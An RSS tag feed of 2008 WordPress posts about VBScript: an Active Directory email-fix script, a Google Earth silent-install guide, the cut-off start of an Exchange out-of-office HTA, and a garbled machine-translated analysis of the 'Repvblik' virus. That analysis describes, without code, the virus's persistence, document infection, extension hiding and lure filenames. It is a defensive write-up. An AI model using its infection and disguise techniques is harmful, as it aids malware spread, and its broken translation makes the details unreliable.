<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>vbscript &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/vbscript/</link>
	<description>Feed of posts on WordPress.com tagged "vbscript"</description>
	<pubDate>Tue, 14 Oct 2008 09:48:45 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[OALGen will skip user entry 'USER' in address list "\Global Address List' because the SMTP address " is invalid]]></title>
<link>http://geekcroft.wordpress.com/?p=58</link>
<pubDate>Mon, 13 Oct 2008 12:25:10 +0000</pubDate>
<dc:creator>geekcroft</dc:creator>
<guid>http://geekcroft.ru.wordpress.com/2008/10/13/oalgen-will-skip-user-entry-user-in-address-list-global-address-list-because-the-smtp-address-is-invalid/</guid>
<description><![CDATA[This old flame popped up again the other day. Now I seem to remember there was some pre-SP1 issues r]]></description>
<content:encoded><![CDATA[<p>This old flame popped up again the other day. Now I seem to remember there was some pre-SP1 issues regarding this, however I wasn't aware that post-SP1 you could still have problems.</p>
<p>Basically the OAB wont generate entries for users who's "Email" field in AD is blank (or, in fact, not the same as the "Reply To" address in Exchange).</p>
<p>What do you do if you have multiple users who are incorrect, and you need to fix it (but don't want to spend hours finding / fixing accounts one at a time)?</p>
<p>You script it of course.</p>
<p>DSQuery user (you may need the -limit flag) &#62; objects.txt<br />
Edit to remove the MS command crap (so that it starts @ your first user)<br />
Save the following script as a vbs file (in the same folder as your objects.txt) and run.</p>
<blockquote><p>
<em>' This code will output all users without a email address in AD who should have one.<br />
' It will also change the address (if required)<br />
' Writted by Stephen Croft from ANS<br />
'<br />
strtextfile = "objects.txt"<br />
Set objFSO = CreateObject("Scripting.FileSystemObject")<br />
Set objTextFile = objFSO.OpenTextFile(strtextfile, 1, False, 0)<br />
Dim primary<br />
strSMTP = "SMTP"<br />
Do<br />
    strobject = objTextFile.ReadLine<br />
    strobject = Mid(strobject,2,Len(strobject)-2)<br />
    Set objObject = GetObject("LDAP://" &#38; strObject)<br />
    on error resume next<br />
    'Gets current Email AD Field?<br />
    intEmail = objObject.Get("mail")<br />
    'Finds Primary Email Address from "proxyAddresses"<br />
        For Each EMail In objObject.GetEx("proxyAddresses")<br />
            primary = InStr(1,EMail,strSMTP,0)<br />
            If primary = 1 Then<br />
            Intproxy2 = Right(EMail,Len(EMail)-5)<br />
            End If<br />
        Next<br />
    'Should the user have an address (i.e. is there a primary SMTP)?<br />
    If intProxy2  "" Then<br />
        'Echos to command object that is blank, and correct email address.<br />
        If intEmail = "" Then<br />
        WScript.Echo strobject &#38; " is blank, should be " &#38; Intproxy2<br />
        'Changes AD object (2 lines of code) to have Primary as AD Email<br />
  <strong>      objObject.Put "mail", intProxy2<br />
        objObject.SetInfo<br />
</strong>        End if<br />
    Else<br />
    End If<br />
    'Blanks all variables to keep it functioning properly<br />
    intEmail = ""<br />
    intProxy = ""<br />
    intProxy2 = ""<br />
Loop  Until objtextfile.AtEndOfStream = True</em></p></blockquote>
<p>The bolded lines change the objects, probably best REM’ing these out and testing what it wants to change (and to what for that matter) by running it from a cmd prompt, and piping it into a output.txt of some sort.</p>
<p>And excuse my scripting, it’s not always the tidiest (but it works goddamn it!! :P )</p>
<p>Have fun :)</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Earth Pro Silent Install]]></title>
<link>http://leereid.wordpress.com/?p=92</link>
<pubDate>Mon, 13 Oct 2008 00:21:59 +0000</pubDate>
<dc:creator>leereid</dc:creator>
<guid>http://leereid.ru.wordpress.com/2008/10/13/google-earth-pro-silent-install/</guid>
<description><![CDATA[I wrote this up for appdeploy back in March 2007, but reproduce it here:
 
Installing Google Earth ]]></description>
<content:encoded><![CDATA[<p>I wrote this up for appdeploy back in March 2007, but reproduce it here:</p>
<p> </p>
<p>Installing Google Earth Pro 4 in a corporate environment using SMS using a per-machine based installation.</p>
<p>This solution consists of 5 main steps:</p>
<p>1. Do an installation of Google Earth, including the registration information. This puts down a bunch of files into C:\Documents and Settings\USERNAME\Application Data\Google\GoogleEarth. As well as a whole lotta reg keys under HKEY_CURRENT_USER\Software\Google.</p>
<p>2. Put these files into a safe location. Export the registry keys into a .reg file.</p>
<p>3. I created an msi to dump these files and the .reg file into the Program Files&#62;Google Earth directory. I also created an Active Setup key to run a script when the user next logs in to the machine. It's located at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\GoogleEarth and<br />
I created ComponentID, StubPath and Version. There are better places to read up on Active Setup...<br />
The last thing I put into the msi was the vbscript referred to in the StubPath key.</p>
<p>4. This script which will be on the local machine and run as the user should create C:\Documents and Settings\USERNAME\Application Data\Google\GoogleEarth where you replace USERNAME with the correct user. Then there are 4 reg keys that contain this path. I created them in vbscript as follows:</p>
<pre>Const HKEY_CURRENT_USER = &#38;H80000001
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &#38; strComputer &#38; "\root\default:StdRegProv")

' Create the two keys if they don't exist
strKeyPath = "Software\Google\CommonSettings"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
strKeyPath = "Software\Google\Google Earth Pro"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath

' All keys have the same strValue
strValue = "C:\Documents and Settings\" &#38; strUser &#38; "\Application Data\Google\GoogleEarth"

strKeyPath = "Software\Google\CommonSettings"
strValueName = "KmlPath"
oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

' Same strKeyPath from here on
strKeyPath = "Software\Google\Google Earth Pro"
strValueName = "DefaultKMLPath"
oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

strValueName = "KmlPath"
oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

strValueName = "CachePath"
oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue</pre>
<p>Then, I copy the required user files into their profile..</p>
<pre>Const OverWriteFiles = True
objFSO.CopyFolder "C:\Program Files\Google\Google Earth Pro\UserFiles", strDirectory, OverWriteFiles</pre>
<p>And then install all the other registry keys into current user. This includes the registration information</p>
<pre>strCommand1 = "regedit.exe /s " &#38; Quotes &#38; PWD &#38; "UserFiles\google_current_user.reg" &#38; Quotes
WScript.Echo strCommand1
return = objShell.Run (strCommand1,0,True)</pre>
<p>5. To get all this to run through SMS, I wrote a vbscript which performs the install with .iss file<br />
"GoogleEarthWinProSetup.exe /s /SMS /f1setup.iss /f2c:\google.log". Of course, do what you have to do to correctly point to the setup and iss files. After that I found that googleearth.exe was running, so I kill that process so that it doesn't go off and create reg keys. Lastly, I install my msi.</p>
<p>Clear as mud!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[VBScript vicious infection DOCUMENT]]></title>
<link>http://trisnowlaharwetan.wordpress.com/?p=33</link>
<pubDate>Sat, 11 Oct 2008 01:50:44 +0000</pubDate>
<dc:creator>triswlaharwtnbms</dc:creator>
<guid>http://trisnowlaharwetan.ru.wordpress.com/2008/10/11/vbscript-vicious-infection-document/</guid>
<description><![CDATA[They generate an encrypted with the condition.  How in the handling of viruses such as this?  Follow]]></description>
<content:encoded><![CDATA[<blockquote><p><span><em>They generate an encrypted with the condition.</em></span> <span><em> How in the handling of viruses such as this?</em></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><em></em></span> <em>Follow this discussion more times!</em></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><em></em></span></span></p>
<p><span><span class="google-src-text" style="direction:ltr;text-align:left;"><em><br />
</em></span><em></em></span></p></blockquote>
<p><span style="font-size:x-small;font-family:verdana,arial;"> </span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Closer trends of VBScript is not yet finished.</span></span></span> T<span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">the virus to make local action.</span></span></span><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">This time we will try to discuss one of the VBScript viruses diversified, which use other techniques in infection.</span></span></span><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Indeed dike tahui virus is likely the virus is not the latest release, the TAP technology is carried other than the virus usually VBScript and there are still some readers who complained about the virus.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">This virus has the original file size of 5,915 bytes.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Small enough, huh?</span></span></span><span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">This is one of the advantages possessed by the virus types VBScript, because the size of the file the virus is a relatively small feed for value-added rate can accelerate the spread of this virus.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">The virus can run smoothly on the Windows XP operating system that we test it.</span></span></span> <span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Glance, if seen in the visual use Notepad, type of virus that has</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"><span> </span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">extension .E</span></span></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">xtension. vbs in this present condition encrypted.</span></span></span><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"> We</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">can know when opened, because the only characters that appear strange, however, if more circumspect, at the top of there</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"><span> </span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">string </span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">string "RPVBLK = True" or "RPVBLK</span></span> = <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">False", and at the bottom there is a normal routine as the decryptor which can be read.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Enkripsi</span></strong></span></span></span> <span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Encryption</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Not difficult to do in the body of the description of the virus.</span></span></span><span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Because any encryption, which also apply it, the past can be disclosed because the body is actually in there decryptor routine, which will translate to byte-per-byte in its original form.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Encryption that he do is just play the game characters, only the progress or reverse the characters are, usually known as the Caesar Cipher.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">The camp only do insert some routine that will make dumping in the text that has indicated camp and can easily learn gestures from the virus source code.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">When the whole body of the virus successfully in-Decrypt, right at the top of the script source, the visible string some comments that marked as "Repvblik Ver 2.0 ^_^!", and also</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"><span> </span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">beberapa pesan yang ia sampaikan.</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">some of it to the message.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Virus di StartUp</span></strong></span></span></span> <span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Virus in the startup</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">The first is, of course, he did create the master file.</span></span></span> <span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">So, when the virus executed on a clean computer, it will create an original master file that he placed in the directory of your start up, which can be found in the Start Menu&#62; startup by the name Repvblik.vbs.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">itself, if the file is the master file or files that have been infected?</span></span></span><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">ling over the script's source, namely, "RPVBLK" that can be valuable True or False.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">File parent virus will also be running automatically when Windows starts.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong></strong></span></span></span><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Messages</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Along with the addition, it will create a new directory on drive C: \ with the name Repvblik.</span></span></span><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">In the directory or folder, you will find a text file with the name Repvblik.txt which is a message from the creator of the virus.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Not only are there, because in each of the first directory level, he certainly will not find the file there Repvblik.txt. </span></span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">And while active in memory, if viewed using</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"><span> </span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Task Manager, </span></span></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Task Manager, users will not be able to see the process with the name of the virus resembles vbs file name, because when a file is accessed or vbs clicked, Windows will automatically run a program that can be wscript.exe as a translator from the script.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Jadi saat virus ini aktif, process virus yang tampak di Task Manager hanyalah process wscript.exe.</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">So when the virus is active, the process of viruses that appear in the Task Manager is wscript.exe process.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Quite difficult to specify whether the wscript.exe vbs file to run a virus or not, as some users can still utilize the VBScript language to create a small script that can ease the work.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">However, if you use the more advanced programs, such as Process Explorer,</span></span></span><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">You can track every detail of process.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Only by clicking on the desired process right, and then click Properties, you will find information on what the script is run by wscript.exe on the editbox Command Line in the Process Explorer.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong></strong></span></span></span><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Documents infection!</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">After the master file is created successfully, he immediately launched latest moment, namely, </span></span></span><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Files that will infect  by this virus is files with the extensions DOC, XLS, PPT, PPS, and that RTF is not foreign in your eyes.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">The infecting groove can be all learned to read with a clear routine functions that give it a name explore_folder_and_infect_file found on the body.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">How they actually do is very simple, he will find in the My Documents directory of files with the extensions included in the sub directory, if he find it with a sprightly, he will infect its.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">With previous he had to delete the contents of the folder that contains Recent data file that was last opened.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">How infecting is the way to append files infected document that will be at the bottom of the body of the virus.</span></span></span><span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"> So if you have files with names such as Projects.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">doc, </span></span></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">the virus will read the entire contents of the file, then get the contents of the document file is in the bottom of the body of the virus, and give a sign of the string "RPVBLK = False" in the early part of the body of the virus, which means the virus has already infected files.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">This is also done by other viruses that have the ability injection, so the file infected is not infected again.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span></span><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">And file the original document will be deleted.</span></span></span><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Of course, now have your document file into a file VBScript, which of course can not be opened with Microsoft Word.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">However, you do not need to confusing, let PCMAV do its work to restore the document to your circumstances such as when first document.Last time it infected file is run, the virus will be first to extract the files contained documents on his body in the current directory, then run again himself, and as if Coolest nothing happens.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Registry manipulation</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Repvblik virus, it will be a canny attempt to change the default icon of each file vbs to use Microsoft Word icon.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">And change the file type is a "Microsoft Word Document," and the extension of the display. Vbs in Windows Explorer by adding items NeverShowExt on key VBSFile in the Windows Registry.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Of course, if this is the case, the user public will not be able to distinguish between the original files are files with the virus.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Rename MP3</span></strong></span></span></span> <span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Rename MP3</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Not only menginfeksi documents, he began to infect music files to your MP3 collection.</span></span></span> <span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Each MP3 file that he will be found in the rename-by.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">That he do is add the string "Repvblik_" in front of the name of the MP3 file that he will infected.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;">
<p class="MsoNormal" style="text-align:justify;margin:0;"><span style="font-size:x-small;font-family:verdana,arial;"><span style="font-size:small;font-family:Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Flash Disk</span></strong></span></span></span> <span style="font-family:Times New Roman;"><span style="font-size:small;"><strong><span style="font-size:x-small;font-family:verdana,arial;">Flash Disk</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-align:justify;margin:0;"><span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">Be careful if you find files with names such as "I am So Sorry.txt.vbs", "Free SMS via GPRS.txt.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">vbs”,”Indonesian and their corruption!!</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">vbs "," English and their corruption!</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">.txt.vbs”,”Never be touched!!</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">. txt.vbs "," Never be touched!</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">.txt.vbs”,”Make U lofty.txt.vbs”,”Thank U Ly.txt.</span></span></span> <span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">. txt.vbs "," U Make lofty.txt.vbs, "" Thank U Ly.txt.</span></span></span> <span><span class="google-src-text" style="direction:ltr;text-align:left;"><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;">vbs”,”</span></span></span><span style="font-size:small;font-family:Times New Roman;"><span style="font-size:x-small;font-family:verdana,arial;"> The Power of Midwife.txt.vbs ", or" NenekSihir and her Secrets.txt.vbs "device on your removable disk, it is the name of the file that he normally use to spread.</span></span></span></p>
<p><span>Source paper: http://www.pcmedia.co.id by <span class="google-src-text" style="direction:ltr;text-align:left;"><em>Arief Prabowo</em></span> <em>Arief Prabowo</em></span></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[HTA to Set Exchange "Out of Office" Message]]></title>
<link>http://networknerd.wordpress.com/?p=158</link>
<pubDate>Tue, 07 Oct 2008 10:18:03 +0000</pubDate>
<dc:creator>networknerd</dc:creator>
<guid>http://networknerd.ru.wordpress.com/2008/10/07/hta-to-set-exchange-out-of-office-message/</guid>
<description><![CDATA[This HTA was created to help streamline a common helpdesk task, setting the OOF message for users wh]]></description>
<content:encoded><![CDATA[<p>This HTA was created to help streamline a common helpdesk task, setting the OOF message for users who have gone on holidays and failed to set the OOF message.</p>
<p>The original process involved the helpdesk giving themselves access to the mailbox in question, creating an outlook profile for the users mailbox,  and  starting outlook to set the OOF message, and finally revoking the permissions to the users mailbox. After performing an audit of mailbox permissions it became obvious that the final step of revoking permissions was being frequently overlooked.</p>
<p>The script consists of a few simple steps</p>
<ol>
<li>Perform and AD search for the users samaccountname and return their exchange server.</li>
<li>Grant full control to the mailbox for the helpdesk staff member.</li>
<li>Create a mapi profile for the mailbox.</li>
<li>Get/Set the current OOFmessage.</li>
<li>Toggle the Out of Office status flag.</li>
</ol>
<p>The process of managing the removal of mailbox permissions is handled in the window unload function of the browser.</p>
<p><strong>Listing 1 - OOF.HTA</strong></p>
<pre><code>&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Set out of Office Message&#60;/title&#62;
&#60;HTA:APPLICATION
ID="OOF"
APPLICATIONNAME="Set Out Of Office Message"
SCROLL="yes"
SINGLEINSTANCE="yes"
&#62;
&#60;/head&#62;</code>
<div><code>&#60;SCRIPT LANGUAGE="VBScript"&#62;
option explicit</code></div>

<code>Rem reference http://www.cdolive.com/outofofficecalendar.htm
Rem Updated to grant and remove permissions to the mailbox automatically</code>
<code>
CONST ADS_ACEFLAG_INHERIT_ACE = 2
CONST ADS_RIGHT_DS_CREATE_CHILD = 1
CONST ADS_ACETYPE_ACCESS_ALLOWED = 0
Const ACE_MB_FULL_ACCESS = &#38;h1

Rem Define all our variables
Dim strProfileInfo, CDOSession, strOOFText, objButton, objInfostore,CdoFolderRoot
Dim objConnection, objCommand, objRecordSet, intRetcode, objOption
Dim strExchsvr, strPath, objUser, objTrustee, strTrustee, WshNetwork,boolRightsSet, objshell
Dim objMBXlist, oSecurityDescriptor, dacl, ace, arrTemp

'*****************************************************************************
'* function window_onload
'* Purpose: Initialise all the global variables required to proceed or
'* terminate the application.
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub window_onload
